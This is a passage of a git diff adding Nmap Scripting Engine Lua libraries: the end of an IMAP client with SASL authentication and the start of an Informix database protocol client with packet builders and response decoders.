+ if ( mech == "NTLM" ) then
+ -- sniffed of the wire, seems to always be the same
+ -- decodes to some NTLMSSP blob greatness
+ status, data = self.socket:send("TlRMTVNTUAABAAAAB7IIogYABgA3AAAADwAPACgAAAAFASgKAAAAD0FCVVNFLUFJUi5MT0NBTERPTUFJTg==\r\n")
+ if ( not(status) ) then return false, "ERROR: Failed to send NTLM packet" end
+ status, data = self:receive()
+ if ( not(status) ) then return false, "ERROR: Failed to receive NTLM challenge" end
+ end
+
+ if ( data:match(("^A%04d "):format(self.counter-1)) ) then
+ return false, "ERROR: Authentication mechanism not supported"
+ end
+
+ local digest, auth_data
+ if ( not(data:match("^+")) ) then
+ return false, "ERROR: Failed to receive proper response from server"
+ end
+ data = base64.dec(data:match("^+ (.*)"))
+
+ -- All mechanisms expect username and pass
+ -- add the otheronce for those who need them
+ local mech_params = { username, pass, data, "imap" }
+ auth_data = sasl.Helper:new(mech):encode(table.unpack(mech_params))
+ auth_data = base64.enc(auth_data) .. "\r\n"
+
+ status, data = self.socket:send(auth_data)
+ if( not(status) ) then return false, "ERROR: Failed to send data" end
+
+ status, data = self:receive()
+ if( not(status) ) then return false, "ERROR: Failed to receive data" end
+
+ if ( mech == "DIGEST-MD5" ) then
+ local rspauth = data:match("^+ (.*)")
+ if ( rspauth ) then
+ rspauth = base64.dec(rspauth)
+ status, data = self.socket:send("\r\n")
+ status, data = self:receive()
+ end
+ end
+ if ( data:match(("^A%04d OK"):format(self.counter - 1)) ) then
+ return true
+ end
+ return false, "Login failed"
+ end,
+
+ --- Login to the server using PLAIN text authentication
+ --
+ -- @param username string containing the username
+ -- @param password string containing the password
+ -- @return status true on success, false on failure
+ -- @return err string containing the error message if status was false
+ login = function(self, username, password)
+ local status, err = self:send("LOGIN", ("\"%s\" \"%s\""):format(username, password))
+ if( not(status) ) then return false, "ERROR: Failed to send data" end
+
+ local status, data = self:receive()
+ if( not(status) ) then return false, "ERROR: Failed to receive data" end
+
+ if ( data:match(("^A%04d OK"):format(self.counter - 1)) ) then
+ return true
+ end
+ return false, "Login failed"
+ end,
+
+ --- Retrieves a list of server capabilities (eg. supported authentication
+ -- mechanisms, QUOTA, UIDPLUS, ACL ...)
+ --
+ -- @return status true on success, false on failure
+ -- @return capas array containing the capabilities that are supported
+ capabilities = function(self)
+ local capas = {}
+ local proto = (self.port.version and self.port.version.service_tunnel == "ssl" and "ssl") or "tcp"
+ local status, err = self:send("CAPABILITY")
+ if( not(status) ) then return false, err end
+
+ local status, line = self:receive()
+ if (not(status)) then
+ capas.CAPABILITY = false
+ else
+ while status do
+ if ( line:match("^%*%s+CAPABILITY") ) then
+ line = line:gsub("^%*%s+CAPABILITY", "")
+ for capability in line:gmatch("[%w%+=-]+") do
+ capas[capability] = true
+ end
+ break
+ end
+ status, line = self.socket:receive()
+ end
+ end
+ return true, capas
+ end,
+
+ --- Closes the connection to the IMAP server
+ -- @return true on success, false on failure
+ close = function(self) return self.socket:close() end
+
+}
+
+
+-- The helper class, that servers as interface to script writers
+Helper = {
+
+ -- @param host table as received by the script action method
+ -- @param port table as received by the script action method
+ -- @param options table containing options, currently
+ -- <code>timeout<code> - number containing the seconds to wait for
+ -- a response
+ new = function(self, host, port, options)
+ local o = { client = IMAP:new( host, port, options ) }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Connects to the IMAP server
+ -- @return status true on success, false on failure
+ connect = function(self)
+ return self.client:connect()
+ end,
+
+ --- Login to the server using either plain-text or using the authentication
+ -- mechanism provided in the mech argument.
+ --
+ -- @param username string containing the username
+ -- @param password string containing the password
+ -- @param mech [optional] containing the authentication mechanism to use
+ -- @return status true on success, false on failure
+ login = function(self, username, password, mech)
+ if ( not(mech) or mech == "LOGIN" ) then
+ return self.client:login(username, password)
+ else
+ return self.client:authenticate(username, password, mech)
+ end
+ end,
+
+ --- Retrieves a list of server capabilities (eg. supported authentication
+ -- mechanisms, QUOTA, UIDPLUS, ACL ...)
+ --
+ -- @return status true on success, false on failure
+ -- @return capas array containing the capabilities that are supported
+ capabilities = function(self)
+ return self.client:capabilities()
+ end,
+
+ --- Closes the connection to the IMAP server
+ -- @return true on success, false on failure
+ close = function(self)
+ return self.client:close()
+ end,
+
+}
+
+return _ENV;
diff --git a/nselib/informix.lua b/nselib/informix.lua
new file mode 100644
index 0000000..30b1eef
--- /dev/null
+++ b/nselib/informix.lua
@@ -0,0 +1,1333 @@
+---
+-- Informix Library supporting a very limited subset of Informix operations
+--
+-- Summary
+-- -------
+-- Informix supports both The Open Group Distributed Relational Database
+-- Architecture (DRDA) protocol, and their own. This library attempts to
+-- implement a basic subset of operations. It currently supports;
+-- o Authentication using plain-text usernames and passwords
+-- o Simple SELECT, INSERT and UPDATE queries, possible more ...
+--
+-- Overview
+-- --------
+-- The library contains the following classes:
+--
+-- o Packet.*
+-- - The Packet classes contain specific packets and function to serialize
+-- them to strings that can be sent over the wire. Each class may also
+-- contain a function to parse the servers response.
+--
+-- o ColMetaData
+-- - A class holding the meta data for each column
+--
+-- o Comm
+-- - Implements a number of functions to handle communication over the
+-- the socket.
+--
+-- o Helper
+-- - A helper class that provides easy access to the rest of the library
+--
+-- In addition the library contains the following tables with decoder functions
+--
+-- o MetaDataDecoders
+-- - Contains functions to decode the column metadata per data type
+--
+-- o DataTypeDecoders
+-- - Contains function to decode each data-type in the query resultset
+--
+-- o MessageDecoders
+-- - Contains a decoder for each supported protocol message
+--
+-- Example
+-- -------
+-- The following sample code illustrates how scripts can use the Helper class
+-- to interface the library:
+--
+-- <code>
+-- helper = informix.Helper:new( host, port, "on_demo" )
+-- status, err = helper:Connect()
+-- status, res = helper:Login("informix", "informix")
+-- status, err = helper:Close()
+-- </code>
+--
+-- Additional information
+-- ----------------------
+-- The implementation is based on analysis of packet dumps and has been tested
+-- against:
+--
+-- x IBM Informix Dynamic Server Express Edition v11.50 32-bit on Ubuntu
+-- x IBM Informix Dynamic Server xxx 32-bit on Windows 2003
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-- @author Patrik Karlsson <patrik@cqure.net>
+--
+-- @args informix.instance specifies the Informix instance to connect to
+
+--
+-- Version 0.1
+-- Created 07/23/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 07/28/2010 - v0.2 - added support for SELECT, INSERT and UPDATE
+-- queries
+--
+
+local nmap = require "nmap"
+local match = require "match"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+_ENV = stdnse.module("informix", stdnse.seeall)
+
+-- A bunch of constants
+Constants =
+{
+ -- A subset of supported messages
+ Message = {
+ SQ_COMMAND = 0x01,
+ SQ_PREPARE = 0x02,
+ SQ_ID = 0x04,
+ SQ_DESCRIBE = 0x08,
+ SQ_EOT = 0x0c,
+ SQ_ERR = 0x0d,
+ SQ_TUPLE = 0x0e,
+ SQ_DONE = 0x0f,
+ SQ_DBLIST = 0x1a,
+ SQ_DBOPEN = 0x24,
+ SQ_EXIT = 0x38,
+ SQ_INFO = 0x51,
+ SQ_PROTOCOLS = 0x7e,
+ },
+
+ -- A subset of supported data types
+ DataType = {
+ CHAR = 0x00,
+ SMALLINT = 0x01,
+ INT = 0x02,
+ FLOAT = 0x03,
+ SERIAL = 0x06,
+ DATE = 0x07,
+ DATETIME = 0x0a,
+ VARCHAR = 0x0d,
+ },
+
+ -- These were the ones I ran into when developing :-)
+ ErrorMsg = {
+ [-201] = "A syntax error has occurred.",
+ [-206] = "The specified table is not in the database.",
+ [-208] = "Memory allocation failed during query processing.",
+ [-258] = "System error - invalid statement id received by the sqlexec process.",
+ [-217] = "Column (%s) not found in any table in the query (or SLV is undefined).",
+ [-310] = "Table (%s) already exists in database.",
+ [-363] = "CURSOR not on SELECT statement.",
+ [-555] = "Cannot use a select or any of the database statements in a multi-query prepare.",
+ [-664] = "Wrong number of arguments to system function(%s).",
+ [-761] = "INFORMIXSERVER does not match either DBSERVERNAME or DBSERVERALIASES.",
+ [-951] = "Incorrect password or user is not known on the database server.",
+ [-329] = "Database not found or no system permission.",
+ [-9628] = "Type (%s) not found.",
+ [-23101] = "Unable to load locale categories.",
+ }
+}
+
+-- The ColMetaData class
+ColMetaData = {
+
+ ---Creates a new ColMetaData instance
+ --
+ -- @return object a new instance of ColMetaData
+ new = function(self)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Sets the datatype
+ --
+ -- @param typ number containing the datatype
+ setType = function( self, typ ) self.type = typ end,
+
+ --- Sets the name
+ --
+ -- @param name string containing the name
+ setName = function( self, name) self.name = name end,
+
+
+ --- Sets the length
+ --
+ -- @param len number containing the length of the column
+ setLength = function( self, len ) self.len = len end,
+
+ --- Gets the column type
+ --
+ -- @return typ the column type
+ getType = function( self ) return self.type end,
+
+ --- Gets the column name
+ --
+ -- @return name the column name
+ getName = function( self ) return self.name end,
+
+ --- Gets the column length
+ --
+ -- @return len the column length
+ getLength = function( self ) return self.len end,
+}
+
+Packet = {}
+
+-- MetaData decoders used to decode the information for each data type in the
+-- meta data returned by the server
+--
+-- The decoders, should be self explanatory
+MetaDataDecoders = {
+
+ [Constants.DataType.INT] = function( data )
+ local col_md = ColMetaData:new( )
+ local pos = 19
+
+ if ( #data < pos ) then return false, "Failed to decode meta data for data type INT" end
+
+ local len = string.unpack(">I2", data, pos)
+ col_md:setLength(len)
+ col_md:setType( Constants.DataType.INT )
+
+ return true, col_md
+ end,
+
+ [Constants.DataType.CHAR] = function( data )
+ local status, col_md = MetaDataDecoders[Constants.DataType.INT]( data )
+ if( not(status) ) then
+ return false, "Failed to decode metadata for data type CHAR"
+ end
+ col_md:setType( Constants.DataType.CHAR )
+
+ return true, col_md
+ end,
+
+ [Constants.DataType.VARCHAR] = function( data )
+ local status, col_md = MetaDataDecoders[Constants.DataType.INT]( data )
+ if( not(status) ) then return false, "Failed to decode metadata for data type CHAR" end
+ col_md:setType( Constants.DataType.VARCHAR )
+
+ return true, col_md
+ end,
+
+ [Constants.DataType.SMALLINT] = function( data )
+ local status, col_md = MetaDataDecoders[Constants.DataType.INT]( data )
+ if( not(status) ) then return false, "Failed to decode metadata for data type SMALLINT" end
+ col_md:setType( Constants.DataType.SMALLINT )
+
+ return true, col_md
+ end,
+
+ [Constants.DataType.SERIAL] = function( data )
+ local status, col_md = MetaDataDecoders[Constants.DataType.INT]( data )
+ if( not(status) ) then return false, "Failed to decode metadata for data type SMALLINT" end
+ col_md:setType( Constants.DataType.SERIAL )
+
+ return true, col_md
+ end,
+
+ [Constants.DataType.DATETIME] = function( data )
+ local status, col_md = MetaDataDecoders[Constants.DataType.INT]( data )
+ if( not(status) ) then return false, "Failed to decode metadata for data type DATETIME" end
+ col_md:setType( Constants.DataType.DATETIME )
+ col_md:setLength(10)
+
+ return true, col_md
+ end,
+
+ [Constants.DataType.FLOAT] = function( data )
+ local status, col_md = MetaDataDecoders[Constants.DataType.INT]( data )
+ if( not(status) ) then return false, "Failed to decode metadata for data type DATETIME" end
+ col_md:setType( Constants.DataType.FLOAT )
+
+ return true, col_md
+ end,
+
+ [Constants.DataType.DATE] = function( data )
+ local status, col_md = MetaDataDecoders[Constants.DataType.INT]( data )
+ if( not(status) ) then return false, "Failed to decode metadata for data type DATETIME" end
+ col_md:setType( Constants.DataType.DATE )
+
+ return true, col_md
+ end,
+
+
+}
+
+-- DataType decoders used to decode result set returned from the server
+-- This class is still incomplete and some decoders just adjust the offset
+-- position rather than decode the value.
+--
+-- The decoders, should be self explanatory
+DataTypeDecoders = {
+
+ [Constants.DataType.INT] = function( data, pos )
+ local val, pos = string.unpack(">i4", data, pos)
+ return pos, val
+ end,
+
+ [Constants.DataType.FLOAT] = function( data, pos )
+ local val, pos = string.unpack(">d", data, pos)
+ return pos, val
+ end,
+
+ [Constants.DataType.DATE] = function( data, pos )
+ return pos + 4, "DATE"
+ end,
+
+ [Constants.DataType.SERIAL] = function( data, pos )
+ local val, pos = string.unpack(">I4", data, pos)
+ return pos, val
+ end,
+
+ [Constants.DataType.SMALLINT] = function( data, pos )
+ local val, pos = string.unpack(">i2", data, pos)
+ return pos, val
+ end,
+
+ [Constants.DataType.CHAR] = function( data, pos, len )
+ local ret, pos = string.unpack("c" .. len, data, pos)
+ return pos, Util.ifxToLuaString( ret )
+ end,
+
+ [Constants.DataType.VARCHAR] = function( data, pos, len )
+ local ret, pos = string.unpack("s1", data, pos)
+ return pos, Util.ifxToLuaString( ret )
+ end,
+
+ [Constants.DataType.DATETIME] = function( data, pos )
+ return pos + 10, "DATETIME"
+ end,
+
+}
+
+
+-- The MessageDecoders class "holding" the Response Decoders
+MessageDecoders = {
+
+ --- Decodes the SQ_ERR error message
+ --
+ -- @param socket already connected to the Informix database server
+ -- @return status true on success, false on failure
+ -- @return errmsg, Informix error message or decoding error message if
+ -- status is false
+ [Constants.Message.SQ_ERR] = function( socket )
+ local status, data = socket:receive_buf(match.numbytes(8), true)
+ local errmsg, str
+
+ if( not(status) ) then return false, "Failed to decode error response" end
+
+ local svcerr, oserr, _, len, pos = string.unpack(">i2i2i2i2", data )
+
+ if( len and len > 0 ) then
+ status, data = socket:receive_buf(match.numbytes(len), true)
+ if( not(status) ) then return false, "Failed to decode error response" end
+ if #data ~= len then return false, "Failed to receive entire error response" end
+ str = data
+ end
+
+ status, data = socket:receive_buf(match.numbytes(2), true)
+
+ errmsg = Constants.ErrorMsg[svcerr]
+ if ( errmsg and str ) then
+ errmsg = errmsg:format(str)
+ end
+ return false, errmsg or ("Informix returned an error (svcerror: %d, oserror: %d)"):format( svcerr, oserr )
+ end,
+
+ --- Decodes the SQ_PROTOCOLS message
+ --
+ -- @param socket already connected to the Informix database server
+ -- @return status true on success, false on failure
+ -- @return err error message if status is false
+ [Constants.Message.SQ_PROTOCOLS] = function( socket )
+ local status, data
+ local len, _
+
+ status, data = socket:receive_buf(match.numbytes(2), true)
+ if( not(status) ) then return false, "Failed to decode SQ_PROTOCOLS response" end
+ len = string.unpack(">I2", data )
+
+ -- read the remaining data
+ return socket:receive_buf(match.numbytes(len + 2 + len % 2), true)
+ end,
+
+ --- Decodes the SQ_EOT message
+ --
+ -- @return status, always true
+ [Constants.Message.SQ_EOT] = function( socket )
+ return true
+ end,
+
+ --- Decodes the SQ_DONE message
+ --
+ -- @param socket already connected to the Informix database server
+ -- @return status true on success, false on failure
+ -- @return err error message if status is false
+ [Constants.Message.SQ_DONE] = function( socket )
+ local status, data = socket:receive_buf(match.numbytes(2), true)
+ local _, len, tmp
+ if( not(status) ) then return false, "Failed to decode SQ_DONE response" end
+ len = string.unpack(">I2", data )
+
+ -- For some *@#! reason the SQ_DONE packet sometimes contains an
+ -- length exceeding the length of the packet by one. Attempt to
+ -- detect this and fix.
+ status, data = socket:receive_buf(match.numbytes(len), true)
+ tmp = string.unpack(">I2", data, len - 2)
+ return socket:receive_buf(match.numbytes((tmp == 0) and 3 or 4), true)
+ end,
+
+ --- Decodes the metadata for a result set
+ --
+ -- @param socket already connected to the Informix database server
+ -- @return status true on success, false on failure
+ -- @return column_meta table containing the metadata
+ [Constants.Message.SQ_DESCRIBE] = function( socket )
+ local status, data = socket:receive_buf(match.numbytes(14), true)
+ local pos, cols, col_type, col_name, col_len, col_md, stmt_id
+ local coldesc_len, x
+ local column_meta = {}
+
+ if( not(status) ) then return false, "Failed to decode SQ_DESCRIBE response" end
+ cols, coldesc_len, pos = string.unpack(">I2I2", data, 11)
+ stmt_id, pos = string.unpack(">I2", data, 3)
+
+ if ( cols <= 0 ) then
+ -- We can end up here if we executed a CREATE, UPDATE OR INSERT statement
+ local tmp
+ status, data = socket:receive_buf(match.numbytes(2), true)
+ if( not(status) ) then return false, "Failed to decode SQ_DESCRIBE response" end
+
+ tmp, pos = string.unpack(">I2", data)
+
+ -- This was the result of a CREATE or UPDATE statement
+ if ( tmp == 0x0f ) then
+ status, data = socket:receive_buf(match.numbytes(26), true)
+ -- This was the result of a INSERT statement
+ elseif( tmp == 0x5e ) then
+ status, data = socket:receive_buf(match.numbytes(46), true)
+ end
+ return true
+ end
+
+ status, data = socket:receive_buf(match.numbytes(6), true)
+ if( not(status) ) then return false, "Failed to decode SQ_DESCRIBE response" end
+
+ for i=1, cols do
+
+ status, data = socket:receive_buf(match.numbytes(2), true)
+ if( not(status) ) then return false, "Failed to decode SQ_DESCRIBE response" end
+ col_type, pos = string.unpack("B", data, 2)
+
+ if ( MetaDataDecoders[col_type] ) then
+
+ status, data = socket:receive_buf(match.numbytes(20), true)
+ if( not(status) ) then
+ return false, "Failed to read column meta data"
+ end
+
+ status, col_md = MetaDataDecoders[col_type]( data )
+ if ( not(status) ) then
+ return false, col_md
+ end
+ else
+ return false, ("No metadata decoder for column type: %d"):format(col_type)
+ end
+
+ if ( i<cols ) then
+ status, data = socket:receive_buf(match.numbytes(6), true)
+ if( not(status) ) then return false, "Failed to decode SQ_DESCRIBE response" end
+ end
+
+ col_md:setType( col_type )
+ table.insert( column_meta, col_md )
+ end
+
+ status, data = socket:receive_buf(match.numbytes(coldesc_len + coldesc_len % 2), true)
+ if( not(status) ) then return false, "Failed to decode SQ_DESCRIBE response" end
+ pos = 1
+
+ for i=1, cols do
+ local col_name
+ col_name, pos = string.unpack("z", data, pos)
+ column_meta[i]:setName( col_name )
+ end
+
+ status, data = socket:receive_buf(match.numbytes(2), true)
+ if( not(status) ) then return false, "Failed to decode SQ_DESCRIBE response" end
+
+ data, pos = string.unpack(">I2", data)
+ if( data == Constants.Message.SQ_DONE ) then
+ status, data = socket:receive_buf(match.numbytes(26), true)
+ else
+ status, data = socket:receive_buf(match.numbytes(10), true)
+ end
+ return true, { metadata = column_meta, stmt_id = stmt_id }
+ end,
+
+ --- Processes the result from a query
+ --
+ -- @param socket already connected to the Informix database server
+ -- @param info table containing the following fields:
+ -- <code>metadata</code> as received from <code>SQ_DESCRIBE</code>
+ -- <code>rows</code> containing already retrieved rows
+ -- <code>id</code> containing the statement id as sent to SQ_ID
+ -- @return status true on success, false on failure
+ -- @return rows table containing the resulting columns and rows as:
+ -- { { col, col2, col3 } }
+ -- or error message if status is false
+ [Constants.Message.SQ_TUPLE] = function( socket, info )
+ local status, data
+ local row = {}
+ local count = 1
+
+ if ( not( info.rows ) ) then info.rows = {} end
+
+ while (true) do
+ local pos = 1
+
+ status, data = socket:receive_buf(match.numbytes(6), true)
+ if( not(status) ) then return false, "Failed to read column data" end
+
+ local total_len = string.unpack(">I4", data, 3)
+ status, data = socket:receive_buf(match.numbytes(total_len + total_len % 2), true)
+ if( not(status) ) then return false, "Failed to read column data" end
+
+ row = {}
+ for _, col in ipairs(info.metadata) do
+ local typ, len, name = col:getType(), col:getLength(), col:getName()
+ local val
+
+ if( DataTypeDecoders[typ] ) then
+ pos, val = DataTypeDecoders[typ]( data, pos, len )
+ else
+ return false, ("No data type decoder for type: 0x%d"):format(typ)
+ end
+ table.insert( row, val )
+ end
+
+ status, data = socket:receive_buf(match.numbytes(2), true)
+
+ local flags = string.unpack(">I2", data)
+
+ count = count + 1
+ table.insert( info.rows, row )
+
+ -- Check if we're done
+ if ( Constants.Message.SQ_DONE == flags ) then
+ break
+ end
+
+ -- If there's more data we need to send a new SQ_ID packet
+ if ( flags == Constants.Message.SQ_EOT ) then
+ local status, tmp = socket:send( tostring(Packet.SQ_ID:new( info.id, nil, "continue" ) ) )
+ local pkt_type
+
+ status, tmp = socket:receive_buf(match.numbytes(2), true)
+ pkt_type, pos = string.unpack(">I2", tmp)
+
+ return MessageDecoders[pkt_type]( socket, info )
+ end
+
+ end
+
+ -- read the remaining data
+ status, data = socket:receive_buf(match.numbytes(26), true)
+ if( not(status) ) then return false, "Failed to read column data" end
+
+ -- signal finish reading
+ status, data = socket:send( tostring(Packet.SQ_ID:new( info.id, nil, "end" ) ) )
+ status, data = socket:receive_buf(match.numbytes(2), true)
+
+ return true, info
+
+ end,
+
+ --- Decodes a SQ_DBLIST response
+ --
+ -- @param socket already connected to the Informix database server
+ -- @return status true on success, false on failure
+ -- @return databases array of database names
+ [Constants.Message.SQ_DBLIST] = function( socket )
+
+ local status, data, pos, len, db
+ local databases = {}
+
+ while( true ) do
+ status, data = socket:receive_buf(match.numbytes(2), true)
+ if ( not(status) ) then return false, "Failed to parse SQ_DBLIST response" end
+
+ len, pos = string.unpack(">I2", data)
+ if ( 0 == len ) then break end
+
+ status, data = socket:receive_buf(match.numbytes(len + len % 2), true)
+ if ( not(status) ) then return false, "Failed to parse SQ_DBLIST response" end
+
+ db, pos = string.unpack("c" .. len, data )
+ table.insert( databases, db )
+ end
+
+ -- read SQ_EOT
+ status, data = socket:receive_buf(match.numbytes(2), true)
+
+ return true, databases
+ end,
+
+ [Constants.Message.SQ_EXIT] = function( socket )
+ local status, data = socket:receive_buf(match.numbytes(2), true)
+ if ( not(status) ) then return false, "Failed to parse SQ_EXIT response" end
+
+ return true
+ end
+
+
+}
+
+-- Packet used to request a list of available databases
+Packet.SQ_DBLIST =
+{
+ --- Creates a new Packet.SQ_DBLIST instance
+ --
+ -- @return object new instance of Packet.SQ_DBLIST
+ new = function( self )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Converts the class to a string suitable to send over the socket
+ --
+ -- @return string containing the packet data
+ __tostring = function(self)
+ return string.pack(">I2I2", Constants.Message.SQ_DBLIST, Constants.Message.SQ_EOT)
+ end
+
+}
+
+-- Packet used to open the database
+Packet.SQ_DBOPEN =
+{
+
+ --- Creates a new Packet.SQ_DBOPEN instance
+ --
+ -- @param database string containing the name of the database to open
+ -- @return object new instance of Packet.SQ_DBOPEN
+ new = function( self, database )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.database = database
+ return o
+ end,
+
+ --- Converts the class to a string suitable to send over the socket
+ --
+ -- @return string containing the packet data
+ __tostring = function(self)
+ return string.pack(">I2I2", Constants.Message.SQ_DBOPEN, #self.database)
+ .. Util.padToOdd(self.database)
+ .. string.pack(">I2I2", 0x00, Constants.Message.SQ_EOT)
+ end
+
+}
+
+-- This packet is "a mess" and requires further analysis
+Packet.SQ_ID =
+{
+ --- Creates a new Packet.SQ_ID instance
+ --
+ -- @param id number containing the statement identifier
+ -- @param s1 number unknown, should be 0 on first call and 1 when more data is requested
+ -- @return object new instance of Packet.SQ_ID
+ new = function( self, id, id2, mode )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.id = ("_ifxc%.13d"):format( id2 or 0 )
+ o.seq = id
+ o.mode = mode
+ return o
+ end,
+
+ --- Converts the class to a string suitable to send over the socket
+ --
+ -- @return string containing the packet data
+ __tostring = function(self)
+ if ( self.mode == "continue" ) then
+ return string.pack( ">I2I2I2I2I2I2", Constants.Message.SQ_ID, self.seq, 0x0009, 0x1000, 0x0000, Constants.Message.SQ_EOT )
+ elseif ( self.mode == "end" ) then
+ return string.pack( ">I2I2I2I2", Constants.Message.SQ_ID, self.seq, 0x000a, Constants.Message.SQ_EOT)
+ else
+ return string.pack(">I2I2I2s2I2I2I2I2I2I2I2", Constants.Message.SQ_ID, self.seq, 0x0003, self.id,
+ 0x0006, 0x0004, self.seq, 0x0009, 0x1000, 0x0000, Constants.Message.SQ_EOT )
+ end
+ end
+
+}
+
+Packet.SQ_INFO =
+{
+
+ -- The default parameters
+ DEFAULT_PARAMETERS = {
+ [1] = { ["DBTEMP"] = "/tmp" },
+ [2] = { ["SUBQCACHESZ"] = "10" },
+ },
+
+ --- Creates a new Packet.SQ_INFO instance
+ --
+ -- @param params containing any additional parameters to use
+ -- @return object new instance of Packet.SQ_INFO
+ new = function( self, params )
+ local o = {}
+ local params = params or Packet.SQ_INFO.DEFAULT_PARAMETERS
+ setmetatable(o, self)
+ self.__index = self
+ o.parameters = {}
+
+ for _, v in ipairs( params ) do
+ for k2, v2 in pairs(v) do
+ o:addParameter( k2, v2 )
+ end
+ end
+ return o
+ end,
+
+ addParameter = function( self, key, value )
+ table.insert( self.parameters, { [key] = value } )
+ end,
+
+ paramToString = function( self, key, value )
+ return string.pack(">I2", #key)
+ .. Util.padToOdd(key)
+ .. string.pack(">I2", #value)
+ .. Util.padToOdd( value )
+ end,
+
+ --- Converts the class to a string suitable to send over the socket
+ --
+ -- @return string containing the packet data
+ __tostring = function( self )
+ local params = ""
+ local data
+
+ for _, v in ipairs( self.parameters ) do
+ for k2, v2 in pairs( v ) do
+ params = params .. self:paramToString( k2, v2 )
+ end
+ end
+
+ data = string.pack(">I2I2I2I2I2", Constants.Message.SQ_INFO, 0x0006, #params + 6, 0x000c, 0x0004)
+ .. params
+ .. string.pack(">I2I2I2", 0x0000, 0x0000, Constants.Message.SQ_EOT)
+ return data
+ end
+}
+
+-- Performs protocol negotiation?
+Packet.SQ_PROTOCOLS =
+{
+ -- hex-encoded data to send as protocol negotiation
+ data = stdnse.fromhex("0007fffc7ffc3c8c8a00000c"),
+
+ --- Creates a new Packet.SQ_PROTOCOLS instance
+ --
+ -- @return object new instance of Packet.SQ_PROTOCOLS
+ new = function( self )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Converts the class to a string suitable to send over the socket
+ --
+ -- @return string containing the packet data
+ __tostring = function(self)
+ return string.pack(">I2", Constants.Message.SQ_PROTOCOLS) .. self.data
+ end
+
+}
+
+-- Packet used to execute SELECT Queries
+Packet.SQ_PREPARE =
+{
+
+ --- Creates a new Packet.SQ_PREPARE instance
+ --
+ -- @param query string containing the query to execute
+ -- @return object new instance of Packet.SQ_PREPARE
+ new = function( self, query )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.query = Util.padToEven(query)
+ return o
+ end,
+
+ --- Converts the class to a string suitable to send over the socket
+ --
+ -- @return string containing the packet data
+ __tostring = function(self)
+ return string.pack(">I2s4xI2I2I2", Constants.Message.SQ_PREPARE, self.query, 0x0016, 0x0031, Constants.Message.SQ_EOT)
+ end
+
+}
+
+-- Packet used to execute commands other than SELECT
+Packet.SQ_COMMAND =
+{
+
+ --- Creates a new Packet.SQ_COMMAND instance
+ --
+ -- @param query string containing the query to execute
+ -- @return object new instance of Packet.SQ_COMMAND
+ new = function( self, query )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.query = Util.padToEven(query)
+ return o
+ end,
+
+ --- Converts the class to a string suitable to send over the socket
+ --
+ -- @return string containing the packet data
+ __tostring = function(self)
+ return string.pack(">I2s4xI2I2I2I2", Constants.Message.SQ_COMMAND, self.query, 0x0016, 0x0007, 0x000b, Constants.Message.SQ_EOT)
+ end
+
+}
+
+Packet.SQ_EXIT = {
+
+ --- Creates a new Packet.SQ_EXIT instance
+ --
+ -- @return object new instance of Packet.SQ_EXIT
+ new = function( self )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Converts the class to a string suitable to send over the socket
+ --
+ -- @return string containing the packet data
+ __tostring = function(self)
+ return string.pack(">I2", Constants.Message.SQ_EXIT)
+ end
+
+}
+
+-- The Utility Class
+Util =
+{
+ --- Converts a connection parameter to string
+ --
+ -- @param param string containing the parameter name
+ -- @param value string containing the parameter value
+ -- @return string containing the encoded parameter as string
+ paramToString = function( param, value )
+ return string.pack(">s2s2", param, value )
+ end,
+
+ --- Pads a string to an even number of characters
+ --
+ -- @param str the string to pad
+ -- @param pad the character to pad with
+ -- @return result the padded string
+ padToEven = function( str, pad )
+ return (#str % 2 == 1) and str or str .. ( pad and pad or "\0")
+ end,
+
+ --- Pads a string to an odd number of characters
+ --
+ -- @param str the string to pad
+ -- @param pad the character to pad with
+ -- @return result the padded string
+ padToOdd = function( str, pad )
+ return (#str % 2 == 0) and str or str .. ( pad and pad or "\0")
+ end,
+
+ --- Formats a table to suitable script output
+ --
+ -- @param info as returned from ExecutePrepare
+ -- @return table suitable for use by <code>stdnse.format_output</code>
+ formatTable = function( info )
+ local header, row = "", ""
+ local result = {}
+ local metadata = info.metadata
+ local rows = info.rows
+
+ if ( info.error ) then
+ table.insert(result, info.error)
+ return result
+ end
+
+ if ( info.info ) then
+ table.insert(result, info.info)
+ return result
+ end
+
+ if ( not(metadata) ) then return "" end
+
+ for i=1, #metadata do
+ if ( metadata[i]:getType() == Constants.DataType.CHAR and metadata[i]:getLength() < 50) then
+ header = header .. ("%-" .. metadata[i]:getLength() .. "s "):format(metadata[i]:getName())
+ else
+ header = header .. metadata[i]:getName()
+ if ( i<#metadata ) then
+ header = header .. "\t"
+ end
+ end
+ end
+ table.insert( result, header )
+
+ for j=1, #rows do
+ row = ""
+ for i=1, #metadata do
+ row = row .. rows[j][i] .. " "
+ if ( metadata[i]:getType() ~= Constants.DataType.CHAR and i<#metadata and metadata[i]:getLength() < 50 ) then row = row .. "\t" end
+ end
+ table.insert( result, row )
+ end
+
+ return result
+ end,
+
+ -- Removes trailing nulls
+ --
+ -- @param str containing the informix string
+ -- @return ret the string with any trailing nulls removed
+ ifxToLuaString = function( str )
+ local ret
+
+ if ( not(str) ) then return "" end
+
+ if ( str:sub(-1, -1 ) ~= "\0" ) then
+ return str
+ end
+
+ for i=1, #str do
+ if ( str:sub(-i,-i) == "\0" ) then
+ ret = str:sub(1, -i - 1)
+ else
+ break
+ end
+ end
+
+ return ret
+ end,
+}
+
+-- The connection Class, used to connect and authenticate to the server
+-- Currently only supports plain-text authentication
+--
+-- The unknown portions in the __tostring method have been derived from Java
+-- code connecting to Informix using JDBC.
+Packet.Connect = {
+
+ -- default parameters sent using JDBC
+ DEFAULT_PARAMETERS = {
+ [1] = { ['LOCKDOWN'] = 'no' },
+ [2] = { ['DBDATE'] = 'Y4MD-' },
+ [3] = { ['SINGLELEVEL'] = 'no' },
